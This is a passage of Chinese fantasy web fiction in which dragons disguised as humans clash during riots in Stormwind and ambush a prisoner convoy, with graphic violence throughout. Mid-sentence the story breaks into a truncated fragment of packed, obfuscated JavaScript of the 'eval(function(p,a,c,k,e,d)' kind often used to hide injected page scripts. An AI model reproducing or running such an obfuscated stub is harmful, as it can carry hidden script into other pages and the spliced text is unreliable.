“刚才和你接触时动用的力量,已经超过了我这一个月来的总合。”他低声说,“除此之外,我没法做得更多了——明白了吗,艾米,就算我愿意相信你的预言,我也帮不上什么忙,每一次使用红龙之力对我而言都是慢性自杀,我的身体经不起多少次折腾了,现在我唯一的愿望,就是找个没有人认识我,而我也不认识任何人的地方,慢慢地消耗掉我仅存的生命,最后躲在角落里悄悄地死掉。” “卡卡,你……” “你闯入我的领地,破坏了我的安宁,还要求我按你的意思做事,这让我无法接受。”他慢慢地说,“对于一条被驱逐出泰坦尼亚,从家族谱系中除名的红龙,你实在不应该抱有什么期望,做为一条成年的雄性红龙,我本来可以拥有很多:财富、地位、权势、数不清的配偶,可是现在的我一无所有,只能拖着这具瘦骨嶙峋到处是病的身躯苟延残喘。” 他说着起身,在她面前单膝点地跪了下来。 “你……别这样!”她惊慌地朝四处张望,所幸酒吧里很昏暗,一群人都在看电视里关于骚乱和网络匿名预言的新闻,没人注意到他们。 “所以我恳求你,艾米小姐,不要再来打扰我,对于那些即将在灾难中遇难的无辜凡人我深感沉痛,但我确实无能为力。”他抬头望着她,“你可以答应我的恳求吗?” 她只想让这男人赶紧起来,便胡乱点了点头。 “我得到你的承诺了?”他的眼睛闪闪发亮。 “是的是的,我答应你了,你快起来吧。” 艾米话音刚落,卡卡便噌的一声像装了弹簧似的站起身。 “你——” “很好,既然你答应了,那么现在就让我们互相道别吧。”卡卡笑容可掬地说,“我在这里预祝你顺利完成任务,成为一名真正的探员,同时你拯救六十万条无辜生命的义举将被千古传颂,成就你艾泽拉斯英雄的美名,整个龙族都会为你骄傲。” 说着他将酒一饮而尽,用杯子压住一张钞票,朝酒吧老板挥了挥手,飘然离去。 艾米突然意识到她可能被这男人耍了,忙跳下椅子追上去。 “等……等一下!”她大叫,“你说你身体不好,不能随意使用龙族的能力……” “其实也没到用一下就减寿十年的地步啦。”卡卡随手从一地狼藉的街道上捡起一朵没被踩折的花,指尖腾起红光,将花变成了一只灰雀,鸟儿拍打着翅膀,从他的掌心飞向天空,一眨眼的功夫便没了踪影。 “那么你说你被驱逐出泰坦尼亚,还从家族谱系中被除名……” “那些都是我编出来骗你的。”他笑嘻嘻地说,“你该不会真信了吧?” 她怒火万丈,双手叉腰,闪身拦在他面前。 “你想怎样,艾米见习探员?”卡卡双手插回裤兜,他脸上那副痞痞的表情直教艾米想冲上前狠揍他一顿,不用特殊能力,就直接用拳头,打歪他的下巴,让这条可恶的红龙再也笑不出来才好。 正当艾米拼命寻找恰如其分又能对这个男人造成致命一击的字眼时,突然一个闪着火光的东西落到她身边不远处,紧接着一声巨响,炸开了花。 原本空无一人的大街突然变得嘈杂起来,无数的人不知从哪里涌了出来,他们大吼大叫,手持木棍,榔头和刀具,气势汹汹地打砸一切他们见到的东西,有人在四处投掷□□,还有的人跳到路边的车顶上用力地跳着,这些人里有些一副蓝领工人打扮,还有些一看便知是流氓。 “怎么回事?”艾米问。 “这些就是暴民啊。”卡卡答道,“说起来都是拜你所赐呀。” “这和我有什么关系!” “哦亲爱的,这当然和你有关。”卡卡笑道,“暴风城南区不受市政府管辖,和秩序井然的北区向来不对盘,而你这些天来发布的‘预言’激化了这种矛盾,你没发觉,现在首要的问题已经不是要不要相信后天下午会有大地震,究竟应不应该大规模疏散,而是到底要不要进一步反抗市政府,这个城市的南北两区会不会爆发一场新的战争了吗?” 狂怒的人们声嘶力竭地咆哮着,尽可能地四处破坏,有人被他们从家中拖了出来,围在当中暴打,哭喊声、呼救声被爆炸声淹没,暴乱的能量排山倒海,席卷了这条数分钟前还安静地出奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不,我不打算和你辩论,至少不是现在。”艾米大声说。 卡卡沉默不语。 “无论这场灾难发生在什么地方,无论这些遇难者曾经做过什么或者将要做什么,我都会尽我所能挽救他们——我不是来清算善恶然后决定谁该上天堂谁该下地狱的神使,我只是一个试图阻止灾难发生的世界安全局见习探员!” 卡卡摇了摇头。 “为什么你们青铜龙会回来干扰历史?如果这场灾难注定要发生,为什么还要试图改变时间线的运行?这不是与青铜龙的原则相悖的吗?” “因为这不是普通的自然灾害!因为这场地震的始作俑者是龙族成员!” 艾米似乎用了全部的气力才喊出那句话,她的眼瞳中的银光若隐若现,那是情绪激动的表征。 “你刚才说什么?”卡卡问。 “没什么!我随口胡诌而已。”艾米转身要走,却被卡卡一把拉住。 “后天下午在这里发生的大地震,是龙族成员造成的,嗯?”她脸上的慌乱被卡卡看在眼里,“你紧张什么?怕我走漏消息?” 他猛地提高声音: “别想着用瞬间移动逃走,小母龙!” 艾米扯出一个笑容:“我好像终于成功地引起你的兴趣了,卡卡先生?” “就算我是条行将朽木的红龙,也不会对其他色种的母龙发情。”卡卡嗤之以鼻,“况且你也不是我的菜——我喜欢大胸部的美女,我看你再怎么挤充其量也就是个A罩杯。” “你就继续装傻吧。”艾米被这恶毒的男人气得不怒反笑,“不过我也无所谓,反正你也帮不上忙,只能在一旁阴阳怪气地为我制造困扰而已。” 卡卡刚要说话,冷不防身体被撞了一下。 那是一个约摸十二三岁的男孩,他一脸惊恐,双手却死死地抓着卡卡的裤腿。 “哦,老天,我这条裤子可是名牌——喂,死小鬼,你的手该不会刚刚扒过死人吧,怎么会有那么多血?”卡卡把脸一抹变成了标准的地痞,恶声恶气地喊着。 “求求您!先……先生!……救救我妹妹!——”那孩子的胸膛剧烈地起伏着,一紧张话也说得结结巴巴,一口气没喘过来,立即痛苦地咳嗽起来。 “别着急,到底发生了什么事?”艾米忙上前安抚他,同时瞪了卡卡一眼,要他停止恐吓惊慌的小孩子。 那孩子没有回答,只是一边咳嗽,一边哭着用力拽着卡卡的手臂。 远处一大群人围着一堆火,污言秽语和猥亵的哄笑声夹杂着女孩的尖叫。 “求您!救她!救救她啊!——” 男孩急得放声大哭,趴在地上求救。 “你妹妹在里头?”卡卡问那男孩,有意无意地瞟了艾米一眼,“告诉我亲爱的,你妹妹身材好吗?” 艾米真恨不得扑上去掐住他的脖子,把他那颗滚来滚去的喉结扣出来。 “是……是的,先生!很……很好!”六神无主的男孩拼命点头。 嗖的一声,身边的男人已经没了踪影。 “别担心,你妹妹一定会得救的。”艾米握住男孩的手。 但愿如此。 当卡卡那件印满向日葵的衬衣没入人群中后,立即引起骚动。 两个大汉像断线的风筝一样被甩出人群,重重地撞跨了路边的电话亭,在满地的玻璃渣和碎木板中蹬了几下腿便没了动静。 艾米一惊。 她可没料到卡卡会说打就打。 虽然看起来很虚弱,但他毕竟是条龙。 那些人会全部被他杀掉的。 5. 第 5 章 “在那里!政府的走狗!!那个穿花衬衣的!快宰了他!!” “别让他活着回去!” “哇啊!——” 到处都是四处奔逃的人,艾米只能护着那个男孩站着不动。 突然她感到心头掠过一阵悸动,顿时脸色一变。 “不要!卡卡!——别用龙息!!……” 他疯了吗?红龙吐息能产生至少一千摄氏度的瞬间高温区域,无论卡卡的龙息范围是扇形还是直线,这样做都会让他身边的所有人被活活烤成焦炭! 当卡卡的红龙之力激发到最高点时,艾米看到一个急速扩张的红色光环。 光环掠过了四十码范围内的每一个人,但他们并没有被点燃,而是不约而同地一头栽倒。 红光消失在艾米跟前,恰好没有将她与那个男孩卷进去,艾米忙查看那些处于光环范围内的人,却发现他们都没有死,只是倒在地上有气无力地呻吟,有人用手里的凶器支撑着身体骂骂咧咧地想要爬起来,但无论怎么努力也无法站稳——这些人就像在一瞬间被抽光了全身气力。 那个穿着向日葵衬衣的男人从横七竖八的人堆里若无其事地走出来,怀里还抱着一个小女孩,艾米身边的男孩眼睛一亮,大声叫着妹妹的名字。 受惊的小女孩浑身发抖,蜷缩在卡卡怀里,双手紧紧地抓着他的衣领。 “他们不会死的。”卡卡说,“我只是把他们过剩的体力烧掉了而已,差不多等于一两个马拉松吧?……好啦,艾米,别用那种眼神瞪着我,我又不是傻瓜,怎么可能在这种地方使用龙息?我最不想希望发生的事就是暴露我的身分。” “谢谢你。”艾米说,“谢谢你救了她,我知道你——” “打住,我知道你想说什么,但我必须告诉你,那只是你的一厢情愿——我救这个小丫头只是因为她年纪虽小但身材够辣,长大后想必会成为难得的美人,仅此而已。”卡卡歪着脑袋冲着她摇摇手指,“若她是只水桶腰大象腿的丑小鸭,我才懒得见义勇为。” “你……” 难道就没有人被卡卡活活气死吗?她想一定有,而且绝非少数。 于是她换了个话题。 “我听说红龙都很擅长使用光环。”她凝视着被卡卡的红龙光环影响过的区域,那些精疲力竭倒地不起的人身旁出现了奇异的景象,混凝土的路面居然长出了不知名的绿色植物,它们争先恐后地朝上蹿,然后飞快地开花,四十码的圆形区域突然变成了一个微型植物园,在这刚刚经历了一场骚乱的街头,有着说不出的突兀。 卡卡笑着凑到艾米耳边: “你是个天马行空的超时空游侠,而我是件玩世不恭的人形生化武器——这样的组合有没有很酷的感觉?我说你干吗非要当那个什么探员呢?维护正义与和平,又不是只有一种办法。” “你确信你要跟我这样一条A罩杯都谈不上的小母龙配对?”艾米耸了耸肩,“算了吧,卡卡,我现在一心惦记的只有一件事,你想跟我谈业务,请另外预约,后天下午两点半之前我都会很忙。” 两人再次陷入僵局,艾米仍不放弃说服卡卡和她站在一道拯救民众,而卡卡则似乎拿定主意打算袖手旁观,被晾在一旁的男孩抱着惊魂未定的妹妹怯生生地看着那两个大人,终于忍不住冒出一句: “你们为什么要吵架?……吵架是不好的。” 见艾米和卡卡都盯着自己,男孩结结巴巴地说: “每次爸爸喝醉了酒,就会跟妈妈吵架,还……还会打我们。” “你应该趁他醉得像头死猪的时候拿把刀在他身上开几个窟窿。”卡卡不假思索地说,“否则总有一天他会掐死你妈妈然后让你妹妹变成你的继母。” “卡卡!”艾米怒不可遏,“不许你向小孩子灌输这些黑暗的东西!” “我是个游手好闲的无良地痞耶,你能指望我有多高的精神境界?”卡卡冲着她扮鬼脸。 “你真是自甘堕落!” “谢谢,亲爱的。”他朝她抛了个飞吻,“你终于看清了我这条恶龙的本质了。” 男孩目瞪口呆,倒是他怀里的妹妹突然全身僵直,拼命挣扎起来,他吓了一条,忙轻声安抚,但他的妹妹只是用力摇头,喉咙里发出含混不清的声音,同时伸手指向某处。 顺着妹妹手指的方向望去,男孩看到一个跪在地上气喘吁吁的男人。 那个男人手里拿着一支枪。 枪正指着卡卡。 “政府的……走狗……” 这边艾米和卡卡仍在针锋相对。 “去……去死吧!!——” 枪声响起。 就在子弹即将击中卡卡的一瞬间,一个瘦小的身影不顾一切地冲到他跟前,张开了双臂。 男孩的胸口迸出一蓬血雾,他的身躯如遭重击,整个人双脚离地朝后飞起,在女孩绝望的尖叫声中,卡卡接住了那个孩子。 这一切发生得实在太过突然,连两条龙都没来得及反应。 男孩胸前的枪伤足有碗口大,那一枪几乎把他的身体射穿,大股大股的鲜血涌出,一瞬间他脏兮兮的小脸就变成了蜡黄色。 男孩伸手摸着卡卡的脸,小声说: “你……你救了我妹妹……你……你是好人。” 艰难地说完这句话后,那孩子的手无力地垂下,头轻轻地歪向一边。 卡卡的瞳孔骤然缩成一点,红得简直像要滴血。 开枪的男人见没有打中,便哆哆嗦嗦地给枪上膛,误杀了一个孩子根本没有遏止他眼中的仇恨和疯狂。 卡卡把男孩失去生命力的身躯放下,迈步朝那个男人走去。 “卡卡!等……等一下!!” 对艾米的喊话卡卡充耳不闻,只是来到那个男人面前,眼中红光一闪。 男人右臂上的血管突然爆开,鲜血如喷泉般射到两米开外,他惨叫着丢开枪,捂着自己的臂弯满地打滚,血洒在路面,长出了骄阳般鲜艳的火焰花。 卡卡歪着头盯着那男人脖子上的大动脉,顿时对方呼吸急促起来。 “我应该让你流干全身的血,还是让你像个吹过头的气球一样炸掉?” “救……救……救命……”男人的脖子胀得足有水桶粗,条条青筋绽起。 就在卡卡即将出杀手的那一刻,一个黑色的人影突然闪到那男人身边,接着两人一道消失了。 “艾米。”卡卡暴跳如雷,“我知道是你,你用瞬间移动把那男人挪到我的能力范围之外。” 艾米重新出现在卡卡面前,神情凝重地看着他。 “我不能让你杀人,卡卡,至少不能当着我的面。” “你知道吗?我真的很厌恶你这套虚伪的假慈悲,这实在太让人恶心了。”卡卡朝身后一指,“你口口声声要救这个救那个,却眼睁睁地看着那个孩子死掉——就算你最后救了六十万人的命,却救不了眼前这一个——” “事情不是像你……” “回答我,青铜龙!”卡卡大吼着打断她的话,“你宁愿用瞬间移动救走那个混球,却不肯逆转时间阻止那臭小子当我的替死鬼,这是为什么?你说呀!又要来那一套什么‘不可违抗的狗屁命运理论’了,是吧?这就是你们青铜龙一直奉行的无动于衷主义,对吗?明明有能力,却只是在一旁看,很有趣,对不对?” “你……”艾米颤声道,“我……我知道很多人不理解青铜龙的原则,可是……”看着卡卡愤怒的脸,听着他讥讽的口吻,她鼻子一酸。 “可是你怎么可以对我说这种话?” 卡卡脸色阴沉。 “你不是只想着你自己,对任何事都漠不关心吗?现在怎么又突然这么义愤填膺了?”她冷笑着反击,“哦,我明白了,原来你是嘴上无德可心有大爱,而我却道貌岸然而且喜欢装腔作势——” “住口!” 卡卡吼道。 两人剑拔弩张,互相对视,不远处却传来一阵喧闹。 一男一女闻讯而至,看来他们是这对兄妹的双亲,此时男人正抱着儿子冰冷的身躯嚎啕大哭,女孩显然非常惧怕自己的父亲,她躲在母亲身后,却不住地朝艾米和卡卡这边张望。 女孩的眼神中充斥着绝望,和最后一丁点不抱希望的乞求。 “谁杀了我儿子?!是谁?!……是不是你?!” 悲痛欲绝的父亲的咆哮声越来越近,显然是冲着他来的。 “看来是我把事情搞砸了。”艾米擦了下眼睛,低声说,“快去救人吧。” 卡卡眯起眼:“你说什么?” “你只有十秒钟。” 她没有解释,直接无声无息地消失了。 卡卡脸色一变,立即转身朝那男孩飞奔而去。 “是不是你?!你这个混蛋!……你杀了我儿子!!……” 歇斯底里的父亲冲上前一把抓住他的衣领,那张猪肝色的脸和酒臭熏天的嘴令卡卡无比厌烦,一把捏住他的手腕丢出十米开外。 男孩的母亲被这个男人血红色的眼瞳吓坏了,卡卡懒得理睬,丢出两个字: “让开。” 他惊愕地发现这个孩子的心脏虽被子弹射穿,但生命之火竟还没有完全熄灭,就像是被某种力量凝固的风中残烛,他来不及细想,将右手按在男孩胸前的伤口上,发动了红龙之力。 红光贯穿了男孩的身体,融入了那孩子的每一寸血肉乃至每一个细胞,剧烈的能量波动令卡卡的腮帮不断抽动,他咬牙切齿,表情狰狞。 “你想带他去哪里?你这个魔鬼!”孩子的母亲哭喊着。 “不,妈妈,他不是魔鬼!他在救人!”女孩大叫。 下一刻,不可思议的事发生了。 男孩睁开了眼,痛苦地尖叫着,卡卡按着他的身躯,压着他的手脚不让他乱动——凡人的身体太脆弱,接受红龙之力的治愈时也会承受数倍于龙族的痛楚,正如每个新生儿都会在母体分娩的痛苦中降生,这是令生命越过阻碍延续下去所必须经历的试练,尤其是这种几乎等同于起死回生的奇迹。 红光渐弱,那孩子剧烈地咳嗽起来。 “上帝啊,他……他活过来了!”女人捂着嘴哭了起来。 卡卡喘息着用手撑着膝盖慢慢站起身,怔怔地凝视着掌心的弹头。 他擦了擦鼻子,却沾了一手鲜血。 男孩的父亲连滚带爬地赶过来,抱着死而复生的儿子谢天谢地,又搂着妻女喋喋不休地说着各种好话。 远处传来警笛声。 卡卡捂着鼻子,鲜血从指缝中涌出,他双目赤红,眼中布满血丝,血从眼角淌下,他呼吸急促 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“我觉得现在的我就像一个鸭男,被人□□过的那种。”卡卡愁眉苦脸地说。 她噗嗤一声笑了起来,这确实是卡卡的风格。 “听着,我必须向你道歉。”她恳切地说。 他哑然失笑,但紧接着表情又痛苦起来,不知道扯动了哪个受伤的地方。 “我是真心诚意地想向你道歉。”她小声说,“我对人类社会的事一无所知,我……我太自以为是了。” 卡卡没有说话,只是用暗红色的眸子望着她。 “另外……另外我也必须谢谢你。”她说,“谢谢你对那两个孩子所做的——你用行动实实在在地救了他们的命,而不像我总是在高谈阔论。” “那不见得是好事。”卡卡淡淡地说,“他们的父亲仍然会虐待他们。” “也许从此以后他会珍惜他们。” “我觉得他不像是那种会痛改前非洗心革面的人。”卡卡冷哼一声,“亲人死了才捶胸顿足,早干什么去了?为什么不在他们活着的时候对他们好一点?” 艾米笑了笑:“要是几小时前,说不定我们又要吵起来了。” “是啊,我们好像从一见面就在不停地吵架。”卡卡扯动嘴角笑了笑,“红龙和青铜龙果然很不速配耶。” 两人相视无语,沉默了片刻后,卡卡又道: “现在几点了?” “哎?”艾米一愣,“凌晨两点半,你们的时间。” “还有三十六小时啊。”卡卡自言自语。 见艾米目瞪口呆地看着自己,卡卡有些不自在地撇了撇嘴: “你好像说过,那场大地震是因为龙族而发生的?” “上面是这样对我透露的。”艾米点了点头,“上古之神的封印非常牢固,而地元素也没有任何异动,同时暴风城也并非位于地震带,要发生这么强烈的地震,只有一种可能。” “黑龙。”卡卡皱了皱眉头,“大地支配者,性情难以捉摸的麻烦制造者,地震与火山是他们的拿手好戏。” “如果这场地震发生了,那么依照我观察过的那个未来的情况来看,人类会在调查地震起因时发现始作俑者的真正身份,从而与龙族的关系急剧恶化,龙族坚持这起事件是个意外,并且愿意公开道歉并做出补偿,然而这并没有得到谅解,暴风城与泰塔尼亚进入敌对状态,愤怒的人类会连同艾泽拉斯大陆的其他种族全面对抗龙族,屠龙行动再一次大规模展开,泰坦尼亚外的所有龙族成员一旦身份败露便无可幸免,最后事态恶化,整个艾泽拉斯再次进入战争状态——卡卡,这绝对是一个糟糕透顶的未来。” “所以他们才会派你回来。”卡卡点了点头,“如果你能成功阻止这场地震,又会如何?” “那个糟糕的未来会从时间线上被彻底消除,就好像什么事也没有发生过。” “你这次行动的结果,也是早有定论的吗?” “这种事情,身为一个见习探员的我根本无从得知。”艾米叹了口气,“我根本不知该从何着手,只能设法让这里的人们提前疏散,就算最后地震真的发生了,也不会有那么多人伤亡。” “哦亲爱的,你可以做的更好些。”卡卡笑了笑,“最有效的办法,就是在地震发生前,把那条肇事的黑龙杀掉。” 艾米愣住了。 “不是吗?地震的时间是不会更改的,那么在明天下午两点半前,找到那条黑龙把他宰了不就没事了?我说的对吗?” 卡卡握住她的手: “你有瞬间移动的能力,还能将时间暂停十秒,连那小孩中了枪你都能为他争取到一线生机,只要把握好时机,将那条黑龙一击格杀,对你来说并不困难,对不对?” 见她默不作声,卡卡又笑道:“你该不会从未杀过人吧——一个世界安全局的探员,可是要与各种企图毁灭世界的邪恶势力作战的唷。” “我知道必要的时候我该采取什么行动。”她气呼呼地说,“我只是……我只是不知道那条黑龙是谁!——” “我知道。” 艾米睁大了眼。 “我知道他是谁。” 卡卡咳嗽着,朝她挤了挤眼睛。 6. 第 6 章 五月十一日,星期日,上午七点四十三分,夜色镇北郊,距暴风城区两百三十公里。 一辆货柜卡车行驶在夜色镇至暴风城方向的高速公路上,卡车经过改装,配备了合金装甲和红蓝警灯,它的前后左右共有四辆警车护航,里面塞满了全副武装的警察。 如此高度戒备,只是为了将一名犯人从东部大陆东南部的守望堡押送至暴风城监狱。 货柜内被一个特制合金栅栏分为两部分,红色激光护栏后有一个男人,他正坐在一张椅子上,双手双脚被都牢牢铐住,头部还箍着一个金属环,看起来应该是某种行为抑制器。 这个移动囚牢外有一台信息终端,上面显示着关于该囚犯的资料。 编码:#XT800001874 姓名:特雷姆斯·哈扎德 种族:人类 性别:男 年龄:36岁 身高:188厘米 体重:86公斤 发色:黑 瞳色:黑 主要罪行:纵火、凶杀、毒品贩卖、军火走私、□□印制 备注1:□□头目,全世界通缉要犯,曾三次成功越狱 备注2:拥有控制火焰和意念波的超能力,极度危险 特雷姆斯是一个高大有力的男人,削瘦的脸上有一条狭长的伤疤,几乎把他的脸劈成两半,浓黑如墨的乱发根根倒竖,那双被突出眉骨投下的阴影笼罩的眼看似平静无波,却藏着让人不寒而栗的阴狠。 即使被重重束缚在拘束椅上,他的全身上下也依然充满了令人不敢正视的阴沉,显然他对自己此时此刻的处境非常不满,脸上和手臂上的几处淤青和破裂的唇角显示出他在被逮捕并铐上这张椅子的过程中曾吃了不少苦头,而毫无疑问的,一旦他能从这里脱身,那些在他身上留下伤痕的人一定会被他亲手撕成碎片。 但他是不可能从这里逃走的。 这不光是因为这辆运送高危囚犯的货车拥有世界上最先进的安保系统,也不仅仅是因为周围还有四辆装载着暴风城警署一线精英的警车。 那些都是其次。 真正的关键之处,在于坐在特雷姆斯对面,那个正专注于玩掌上游戏机的男人。 那是个熊腰虎背的巨人,他那雄伟的身量几乎填满了三分之一个货柜,一身贲张的肌肉把他的黑衬衣和牛仔裤塞得鼓鼓囊囊,脚上那双坦克般厚实的半高大皮靴看起来至少有五公斤重。他浓眉似刀,蓄着妥善修整过的口字胡,剃了个噌亮的光头,粗犷彪悍得不可思议。 那台掌上游戏机在这光头巨人的手掌中像个火柴盒,显得颇有些滑稽。 “喂,大个子。”特雷姆斯喊道,“你一路玩那东西不觉得无聊吗?” 光头巨人啪啪啪地按着游戏机,对笼子里的人不理不睬。 “喂,你这个秃子!”特雷姆斯大声叫道。 光头巨人瞥了他一眼。 特雷姆斯冷笑着,眼中闪过一丝金光。 游戏机的屏幕立即一片漆黑,同时还腾出一股烟。 光头巨人叹了口气,站了起来,两米过外的壮硕身躯宛若铁塔。 “特雷姆斯,事到如今,你还想怎样?”巨人的声音低浑如雷,居高临下地看着对方。 “等……等一下!” 巨人的眼中红光一闪,特雷姆斯立即闷哼一声,全身剧烈地颤抖起来。 “如果我让你的心跳超过每分钟三百下,你的人类形态就会崩溃。” “好呀……为什么不呢?我……我可真想尝尝心脏爆掉的……爆掉的滋味!” 巨人的眼瞳再度转黑,特雷姆斯重重地松了口气,全身汗如雨下。 “你现在的身份是人类,对于你的罪行,暴风城的法律会制裁你,我的任务只是协助他们逮住你,并把你押送进监狱而已。”巨人双臂抱胸,神色平静。 特雷姆斯哈哈大笑,脸上那条狰狞的疤痕都因为面部肌肉的抽动而扭曲。 “哈哈哈,算了吧。”特雷姆斯盯着面前的光头巨人,“谁能想到鼎鼎大名的安多洛夫·雷奥中将会化身为一个所谓的‘特派刑警’,来帮暴风城警署的废物们把我捉拿归案呢?” 光头巨人沉默不语。 “说实在的,”特雷姆斯说,“我很好奇那些凡人知道你是红龙,而我是黑龙之后,会有什么反应。” “某些超能力者常常会有一些幻想,认为自己是龙族成员、巫妖王的代理人或者是上古之神的仆从。”安多洛夫淡淡地说,“最后他们都被关进了精神病院。” “我会证明给那些凡人看的。”特雷姆斯恶狠狠地说,“我会让他们知道他们在跟谁作对!” “你已经无法再变回龙类形态了。”安多洛夫说。 “哦,对了,我忘记了,你在我体内埋了红龙炸弹,不仅可以限制我的能力,还能随时引爆让我粉身碎骨……”特雷姆斯嘿嘿笑道,“最妙的是,你剥夺了我作为龙族成员的身份,我只能凭这具人类的身体活着,我也会衰老,也会被那些人类的病痛折磨,最后我会像人类一样死去,变成一堆枯灰——这可真棒啊。” “你想让我把你交给黑龙公爵发落吗?”安多洛夫问,“奈法利安先生可不像我这么有耐心,败坏黑龙名誉者在他手上会有什么下场……你大概更清楚吧?” 特雷姆斯脸色微变。 他们的车子似乎在减速,通话器响起。 安多洛夫警官,出了一点小状况。 “怎么回事?”安多洛夫问。 前方出现了大批车辆,是暴风城南区的难民,他们似乎正与路警发生纠纷。 “暴风城的难民?” 是的,最近几天暴风城南区发生骚乱,大批居民试图撤离城区避难。 “暴风城监狱的状况如何?” 暴风城监狱位于城北郊区,目前情势稳定,没有异常。 安多洛夫沉思片刻,对着通话器说: “一切以押送嫌犯任务为优先考量,我们改道走海湾大桥,务必在今天正午抵达暴风城监狱。” 是! “怎么了,中将,遇到什么麻烦了吗?”特雷姆斯搭讪道。 见他默不作声,这条黑龙又道: “凡人就是这么愚昧的生物呀,他们不断地污染这块大地,就像蝗虫一样,把沃土变成荒漠之后便迁徙到下一个地方,永远不知道自我反省,只会拼命地繁殖……泰坦们把艾泽拉斯交给我们龙族守护,而现在这个世界却落入凡人之手,五大龙王不闻不问,听而任之,这样真的好吗?” “所以你才要混在他们当中,杀人放火,贩毒走私,还企图用□□毁掉他们的金融系统?” “没错!我必须毁灭这些凡人,这是艾泽拉斯的愿望!” 望着特雷姆斯那双闪烁着疯狂与憎恨的眼睛,安多洛夫摇了摇头。 “你只是为了满足私欲而已——我们已经没什么可说的,现在你最好闭嘴,否则我会帮你把声带打上几个结。” “你会后悔的,红龙。”特雷姆斯冷笑道,“你一定会后悔的。” “那我们走着瞧吧。”面对这条黑龙张牙舞爪的挑衅,安多洛夫始终没有动怒。 作为一名红龙军团的高级将领,无论面对怎样的处境,他都会坚持把军人职责放在第一位。 逮捕黑龙特雷姆斯,并把他押送至暴风城监狱,是与黑龙公爵奈法利安磋商后,红龙女王阿莱克斯塔萨直接对他下达的命令,所以他必须完成任务,并在第一时间返回泰坦尼亚向红龙女王复命。事关红龙一族和雷奥家族的声誉,绝对不能有任何闪失。 二十分钟后,押送特雷姆斯的车队驶上了海湾大桥,远处郁郁葱葱的艾尔文森林已依稀可见。 但已经有人盯上了他们。 安多洛夫警官,这……这是怎么回事? “发生什么事了?” 路面好像……这是怎么搞的?路面结冰了!啊!!—— 接下来通话器里一片嘈杂,安多洛夫瞥了连接车载摄像机的监视屏一眼。 只是一眨眼的功夫,他已失去了四辆护卫车。 眼下正值春夏时分,可海湾大桥的路面却被冰霜覆盖,四辆护卫车和货柜卡车的轮胎全都不约而同地开始打滑,更不可思议的是,与此同时,大桥两侧迸起数十米高的水柱,海水竟在空中聚拢,宛若悬湖,接着一分为四,由液态转为固态,变成了四块巨冰,正好浮在四辆护卫车的正上方。 四座上百吨的小型冰山落下,四辆警车被当场砸成废铁,里面的警员还没弄清发生了什么事,已连人带车被砸得稀烂,大大小小的碎冰撒了一地,两辆警车爆炸,浓烟滚滚,大桥承受不住如此压力,路面开裂,并发生坍塌现象,恰好将安多洛夫和特雷姆斯所在的货柜卡车截停在断桥上。 四周温度骤降,大桥两侧的海面出现大面积冻斑,像镜子一样反射着阳光,警车爆炸后产生的高温化去了一部分冰,升腾的水汽在刺骨低温下又迅速凝为结晶,不一会竟飘起雪来。 整个艾泽拉斯只有一种生物,能如此出神入化地控制冰雪和霜寒。 蓝龙。 特雷姆斯怪笑起来。 “是你的同伙?”安多洛夫沉声问。 黑龙不置可否。 安多洛夫取下通话器:“杰森、鲍比,立即求救,然后弃车离开!” 然而回应他的只有声嘶力竭的咆哮。 安多洛夫把监视器切换到货柜卡车的驾驶室,却当场愣住了。 杰森和鲍比正不顾一切地攻击对方,他们似乎对周遭发生的事一无所知,眼里只有对方,仿佛那根本不是自己的同僚,而是不共戴天的仇敌。 “我要……我要杀了你!!”杰森的声音听起来根本不像是他自己的。 “去……去死吧!!”鲍比看上去已经完全疯了。 起初两人只是在驾驶座上互相诅咒并且拳打脚踢,但很快这种冲突就变成了虐杀——杰森揪着鲍比的头发把他的脑袋没命地朝挡风玻璃上乱撞,而满脸是血的鲍比挣脱后竟扑上去咬掉了杰森的一只耳朵。 “嘿嘿嘿嘿……”听着监视器里传来的令人毛骨悚然的声响,特雷姆斯笑得很开心,“这声音……听起来真美妙啊,不是吗,中将?” 杰森突然拔出枪来,抵着鲍比的胸口一阵乱射,他的同僚的身躯随着枪击的冲击力剧烈地颤抖着,他整整打完了一梭子弹,还咔嚓咔嚓地扣着扳机,而鲍比早已被射成了蜂窝,不成人形地瘫在副驾驶座上,鲜血溅满了驾驶室。 血糊住了摄像头,监视器上一片漆黑。 紧接着哗啦一声,货柜的门被打开了,寒气猛灌了进来,安多洛夫不禁打了个寒战,特雷姆斯则把身子缩成一团,一边哆嗦一边直呼好冷。 “杰森?” 那个警员浑身是血,摇摇晃晃地走进货柜。 “杀……杀了我……”杰森两眼无神,喃喃自语,“快杀了我……求求你……” “冷静点!”安多洛夫低喝。 “没用的,中将。”特雷姆斯在一旁幸灾乐祸,“这个人类被精神污染了,心智已经彻底崩溃,没得救啦。” “杀了我!!”杰森嘶吼道,“要不我杀了你!!——” 说着他以怪异的姿势朝安多洛夫扑来,就像一具沾满血的提线木偶。 安多洛夫咬紧牙关,被迫发动红龙之力。 杰森的身体泛起红光,紧接着他的身体从内爆开,飞溅的血肉宛若暴露在空气下的白磷,瞬间烧了个精光,灰飞烟灭。 “太精彩了,不愧是中将。”特雷姆斯啧啧称赞,“红龙炸弹的威力真是名不虚传哪——” 下一刻他感到自己喉头一紧。 “蓝龙向来低调谨慎,与人类的关系融洽,不会与你这种龙族败类同流合污,更不会与红龙发生正面冲突。”安多洛夫面无表情地盯着他,“但如果他身边有条绿龙……” 特雷姆斯艰难地笑了笑:“那么,你该怎么办呢?即使是身经百战、被誉为红龙一族中最强战士的安多洛夫中将,要同时应付一条蓝龙和一条绿龙,也不是那么容易的事吧?……咳咳……” 安多洛夫沉默不语。 “我的确栽在了你手上,可你要是以为能这么轻而易举地把我送进暴风城监狱关一辈子,那可就大错特错了。”特雷姆斯笑着拽了拽扶手上的镣铐,“你以为这些凡人的玩具能把我困多久?除了‘冰与雪的魔术师’和‘梦境的暴君’,很快你就会面对我这个‘大地的震撼者’了,到时候可是一对三呢——而且最妙的是,你还不能杀我,因为那样会暴露你我的身份,如果那些愚昧的凡人知道被全世界通缉的□□头头其实是条龙……哼,一定会很有意思吧?” 安多洛夫大步走出货柜,把特雷姆斯嚣狂的笑声锁在身后。 他挥拳击穿了车头的托板,将足有二十米长的货柜整个扛上肩,深深地看了被砸扁的警车里的死者一眼,纵身跃起,跳到断桥对面,继续前进。 …… “他是打算把那个玩意一直扛到暴风城去吗?” 